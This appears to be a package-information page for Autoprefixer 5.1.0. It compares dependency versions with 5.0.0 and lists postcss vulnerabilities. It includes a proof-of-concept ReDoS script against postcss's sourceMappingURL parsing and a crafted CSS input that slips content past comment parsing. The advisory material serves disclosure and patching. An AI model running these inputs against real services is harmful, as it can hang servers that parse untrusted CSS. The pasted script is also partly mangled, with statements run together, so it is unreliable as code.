Autoprefixer version 5.1.0 represents a minor update over the previous stable release, version 5.0.0, offering incremental improvements primarily focused on dependency updates. The core functionality, described as parsing CSS and adding vendor prefixes based on Can I Use data, remains consistent across both versions. Developers familiar with Autoprefixer's core purpose won't encounter significant changes in terms of usage or overall behavior.
Key differences lie in the updated dependencies. Autoprefixer 5.1.0 relies on postcss version ~4.0.2, fs-extra version ~0.16.3, and autoprefixer-core version ~5.1.0. In contrast, version 5.0.0 utilized postcss version ~4.0.1, fs-extra version ~0.14.0, and autoprefixer-core version ~5.0.0. These dependency bumps likely incorporate bug fixes, performance enhancements, or new features within those underlying libraries. While these low-level updates might not directly impact most users, they contribute to a more robust and potentially more efficient processing of CSS. Developers should always aim to use the latest stable version to benefit from such improvements and security patches. Furthermore, the release date reflects a two-week gap between versions, with 5.1.0 published on January 29, 2015, hinting at the continuous development and maintenance efforts behind the project.
All the vulnerabilities related to the version 5.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.